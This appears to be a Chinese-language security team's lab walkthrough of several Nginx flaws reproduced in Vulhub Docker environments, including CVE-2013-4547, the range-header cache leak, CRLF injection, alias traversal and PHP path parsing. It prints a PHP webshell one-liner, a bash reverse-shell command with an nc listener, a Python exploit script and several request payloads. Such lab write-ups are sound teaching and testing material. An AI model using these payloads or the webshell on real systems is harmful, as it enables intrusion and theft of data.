Nginx 0.8.41 ~ 1.4.3 / 1.5.0 ~ 1.5.7
绕过服务器策略,上传webshell。
这个漏洞其实和代码执行没有太大关系,其主要原因是错误地解析了请求的URI,错误地获取到用户请求的文件名,导致出现权限绕过、代码执行的连带影响。
举个例子,比如,Nginx匹配到.php结尾的请求,就发送给fastcgi进行解析,常见的写法如下:
location ~ \.php$ {
include fastcgi_params;
fastcgi_pass 127.0.0.1:9000;
fastcgi_index index.php;
fastcgi_param SCRIPT_FILENAME /var/www/html$fastcgi_script_name;
fastcgi_param DOCUMENT_ROOT /var/www/html;
}
正常情况下(关闭pathinfo的情况下),只有.php后缀的文件才会被发送给fastcgi解析。
而存在CVE-2013-4547的情况下,我们请求1.gif[0x20][0x00].php
,这个URI可以匹配上正则\.php$
,可以进入这个Location块;但进入后,Nginx却错误地认为请求的文件是1.gif[0x20]
,就设置其为SCRIPT_FILENAME
的值发送给fastcgi。
fastcgi根据SCRIPT_FILENAME
的值进行解析,最后造成了解析漏洞。
所以,我们只需要上传一个空格结尾的文件,即可使PHP解析之。
再举个例子,比如很多网站限制了允许访问后台的IP:
location /admin/ {
allow 127.0.0.1;
deny all;
}
我们可以请求如下URI:/test[0x20]/../admin/index.php
,这个URI不会匹配上location后面的/admin/
,也就绕过了其中的IP验证;但最后请求的是/test[0x20]/../admin/index.php
文件,也就是/admin/index.php
,成功访问到后台。(这个前提是需要有一个目录叫test
:这是Linux系统的特点,如果有一个不存在的目录,则即使跳转到上一层,也会爆文件不存在的错误,Windows下没有这个限制)
启动漏洞环境:
docker-compose build
docker-compose up -d
环境启动后,访问http://your-ip:8080/
即可看到一个上传页面。
0x01 查看phpinfo
这个环境是黑名单验证,我们无法上传php后缀的文件,需要利用CVE-2013-4547。我们上传一个ces.gif
,注意后面的空格:
至此,图片上传成功!
浏览器访问该文件目录:http://your-ip:8080/uploadfiles/ces.gif,并抓包,修改Hex中的值,构造mu.jpg[0x20][0x00].php来造成Nginx解析漏洞,使我们的ces.gif被解析成php,在burp抓取的数据包中把mu.jpg后面的两个空格 [0x20][0x20] —> [0x20][0x00]
注意,[0x20]是空格,[0x00]是\0
,这两个字符都不需要编码。
Repeater显示如下:
修改完毕,显示如下:
至此,http://your-ip:8080/uploadfiles/ces.gif变成访问http://172.17.0.1:8080/uploadfiles/1.gif[0x20][0x00].php,即可发现PHP已被解析:
0x02 执行系统命令
一句话代码如下
system($_GET['var']); ?>
上传文件,注意后缀名的空格。
执行命令。
0x03 反弹shell
#利用0x02中的一句话木马反弹shell,var的参数如下
bash -i >& /dev/tcp/192.168.0.2/9090 0>&1
#在本地执行监听
nc -l 9090
(执行成功,反弹没成功,哎!)
总结: 该漏洞利用了Nginx错误的解析了URL地址,导致可以绕过服务端限制,从而解析PHP文件,造成命令执行的危害。
根据nginx.conf文件中location中的定义,以.php结尾的文件都解析为php。若我们访问的文件名为shell.gif[0x20][0x00].php,该文件名以.php结尾可以被FastCGI接收,FastCGI在读取文件名时被00截断,导致读取的文件名为1.gif[0x20],配合limit_extensions为空即可利用成功。
该漏洞利用条件有两个:
Nginx 0.8.41 ~ 1.4.3 / 1.5.0 ~ 1.5.7
php-fpm.conf中的security.limit_extensions为空,也就是说任意后缀名都可以解析为PHP。
Nginx版本范围较大,比较好匹配,但php-fpm.conf的security.limit_extensions配置默认为php,一般鲜有管理员允许所有类型都可以解析为PHP,所以该漏洞比较鸡肋,但这是在Linux的服务器中,而在Windows中便影响极大。在Windows环境下由于命名文件时不允许文件后缀末尾存在空格所以自动将其修复为abc.jpg,这种情况下我们只需要上传一张包含代码的名字为abc.jpg的文件就可以利用漏洞了。但是在Linux环境中由于允许文件后缀名最后存在空格所以我们需要确保我们传过去的文件名为abc.jpg[20],我们可以在文件上传时使用Burpsuit在后缀名后加一个空格从而实现利用。
1、升级版本
Nginx 0.5.6 ~ 1.13.2
信息泄漏。
Nginx越界读取缓存漏洞产生的原因是Nginx读取http请求时,如果包含range,那么Nginx会根据range指定的数据范围读取文件数据内容,如果该range是负数,并且读到了缓存文件,那么会返回缓存文件中的“文件头”或“HTTP返回包头”,缓存文件头可能包含IP地址的后端服务器或其他敏感信息,从而导致信息泄露。
0x01 range是什么?
存在于HTTP请求头中,表示请求目标资源的部分内容,例如请求一个图片的前半部分,单位是byte,原则上从0开始,但今天介绍的是可以设置为负数。
range的典型应用场景例如:断点续传、分批请求资源。
range在HTTP头中的表达方式:
Range:bytes=0-1024 表示访问第0到第1024字节;
Range:bytes=100-200,601-999,-300 表示分三块访问,分别是100到200字节,601到600字节,最后的300字节;
Range:-100 表示访问最后的100个字节
range在HTTP Response表示:
Accept-Ranges:bytes 表示接受部分资源的请求;
Content-Range: bytes START-END/SIZE START-END表示资源的开始和结束位置,SIZE表示资源的的长度
0x02 缓存是什么?
大多数的Web服务器都具有缓存的功能,解释起来比较麻烦,可以看下图:
当请求服务器的资源时,如果在缓存服务器中存在,则直接返回,不在访问应用服务器,可以降低应用服务器的负载。
例如网站的首页的缓存,nginx的默认缓存路径在/tmp/nginx下,例如:当请求服务器的资源时,如果在缓存服务器中存在,则直接返回,不在访问应用服务器,可以降低应用服务器的负载。
例如网站的首页的缓存,nginx的默认缓存路径在/tmp/nginx下,例如:
再次访问该页面时会首先读取该缓存内容,其他的静态资源,例如:图片、CSS、JS等都会被缓存。
此次环境使用docker环境搭建,环境采用地址Vulhub
执行构建环境命令如下(启动后在浏览器中访问http://127.0.0.1:8080)
docker-compose up -d
现在要读取刚才讲到的缓存文件头,它的Content-Length时612,那么读取正常缓存文件的range是设置为
Range: bytes=0-612
1、使用curl工具测试下,命令如下,执行后发现,返回的内容是正常的。
curl -i http://127.0.0.1:8080 -r 0-612
range=content_length + 偏移长度
即:
range = 612 + 600
取负值为-1212
此时知道range的start是-1212,那么end呢?nginx的源码在声明start,end时用的是64位有符号整型,所以最大可表示:
-2^63-2^63-1
也就是
-9223372036854775808 到 9223372036854775807
所以只要start+end为9223372036854775807即可,故:
end = 9223372036854775808 - 1212
取负
为-9223372036854774596
执行结果为下图,可以发现读取到了缓存文件头,里面的8081端口在实际的业务场景中可能是其他的地址,这样便会造成信息泄漏。
也可以调用vulhub中自带的poc脚本,进行检测python3 poc.py http://your-ip:8080/
,读取返回结果:
利用代码
# -*- coding: UTF-8 -*-
#!/usr/bin/env python
import sys
import requests
if len(sys.argv) < 2:
print("%s url" % (sys.argv[0]))
print("eg: python %s http://your-ip:8080/ offset" % (sys.argv[0]))
sys.exit()
headers = {
}
offset = int(sys.argv[2])
url = sys.argv[1]
file_len = len(requests.get(url, headers=headers).content)
n = file_len + offset
headers['Range'] = "bytes=-%d,-%d" % (
n, 0x8000000000000000 - n)
r = requests.get(url, headers=headers)
print(r.text)
全版本
信息泄漏
启动靶场,进入测试:
docker-compose up -d
运行成功后,Nginx将会监听8080/8081/8082三个端口,分别对应三种漏洞。
进入docker环境内部,查看nginx配置文件。配置文件路径为/etc/nginx/conf.d
1、CRLF注入漏洞
Nginx会将$uri
进行解码,导致传入%0a%0d即可引入换行符,造成CRLF注入漏洞。
错误的配置文件示例(原本的目的是为了让http的请求跳转到https上):
location / {
return 302 https://$host$uri;
}
Payload: http://your-ip:8080/%0a%0dSet-Cookie:%20a=1
,可注入Set-Cookie头。
影响版本:全版本
影响说明:信息泄漏
环境说明:Nginx 1.13.0
环境搭建:
此次环境使用docker环境搭建,环境采用地址Vulhub
执行构建环境命令如下(启动后在浏览器中访问http://127.0.0.1:8081)
docker-compose build
docker-compose up -d
漏洞复现:
Nginx的目录穿越漏洞严格定义的话,并非是漏洞,而是Nginx的特性,由于运维人员或者开发人员配置错误而导致的漏洞。
该问题出现在Nginx的虚拟目录配置上,也就是Alias。Alias正如其名,alias指定的路径是location的别名,不管location的值怎么写,资源的真实路径都是Alias指定的路径,例如:
Payload: http://your-ip:8081/files../
,成功穿越到根目录:
location /margin {
alias /home/www/margin/;
}
配置以上内容后如果访问http://xxx/margin/logo.png,其实真的资源是定位到/home/www/margin/logo.png下。
但此时是有问题的,如果location后的路径后面不加/,便会出现目录穿越的漏洞,对应关系如下:
请求
http://xxx/margin../
变为
/home/www/margin/../
最终导致下图情况,造成信息泄漏,如果目录中有数据库备份、源码备份危害就更大了。
Nginx配置文件子块(server、location、if)中的add_header
,将会覆盖父块中的add_header
添加的HTTP头,造成一些安全隐患。
如下列代码,整站(父块中)添加了CSP头:
add_header Content-Security-Policy "default-src 'self'";
add_header X-Frame-Options DENY;
location = /test1 {
rewrite ^(.*)$ /xss.html break;
}
location = /test2 {
add_header X-Content-Type-Options nosniff;
rewrite ^(.*)$ /xss.html break;
}
但/test2
的location中又添加了X-Content-Type-Options
头,导致父块中的add_header
全部失效:
这个验证在谷歌和火狐浏览器中验证失败,可以使用IE浏览器,未弹窗,使用F12元素审查,xss被识别。
全版本
命令执行,获取服务器web权限
此次环境使用docker环境搭建,环境采用地址Vulhub。
执行构建环境命令如下(启动后在浏览器中访问http://127.0.0.1)
docker-compose build
docker-compose up -d
Nginx的解析漏洞的利用方式表现为
访问以下链接可以解析为PHP
http://127.0.0.1/test.jpg/test.php
利用条件:
#php.ini
cgi.fix_pathinfo=1
php-fpm.conf
security.limit_extensions = .php .jpg
Nginx的解析漏洞的出现和Nginx的版本没有关系,漏洞的产生是由于php配置问题导致的。
首先先准备一个test.jpg内容为
phpinfo(); ?>
当访问http://127.0.0.1/test.jpg时显示图片解析错误,当访问http://127.0.0.1/test.jpg/test.php时结果显示Access denied,这个回显很奇怪,正常访问这个链接是不存在的,正常思维应该是404,这里就需要研究下Nginx的解析流程了:Nginx在收到/test.jpg/test.php路径时,首先判断文件类型,发现后缀是.php,便交给php处理,但php想要解析该文件时,发现并不存在,便删除掉/test.php,去找test.jpg,此时test.jpg是存在的,便要尝试解析它,但无奈后缀是.jpg,不是php,便报错Access denied。
上面的流程中提到了一个点,就是删除/test.php,这是Nginx的“修理”机制,由参数cgi.fix_pathinfo决定,当值为1时,便进行“修理”。例如,文件名为/aa.jpg/bb.png/cc.php,如果cc.php不存在就找/aa.jpg/bb.png,如果还不存在就找aa.jpg,如果存在将它视为php文件。
到目前为止我们并没有成功利用解析漏洞,因为php代码并没有执行。为什么呢?
因为在PHP的配置中没有定义降.jpg文件中的php代码也解析为php,这是在security.limit_extensions中定义的。由于security.limit_extensions的引入,漏洞难以利用。
参考链接:https://zhuanlan.zhihu.com/p/136801555
ERRORS团队源于网络空间安全的兴趣爱好者共同组建,致力于从网络安全的各个层面维护国家网络空间安全,团队成员拥有专业的渗透测试技术、安全评估能力、逆向分析技巧以及丰富的项目经验和实战经验。该团队是一支年轻的有生命力的团队,旨在通过知识分享、技术探讨提升网络安全意识和专业技能。
加入我们:
ERRORS团队主页: https://www.chihou.pro/
盒子团队申请: https://www.vulbox.com/team/ERRORS
或者邮件联系: [email protected]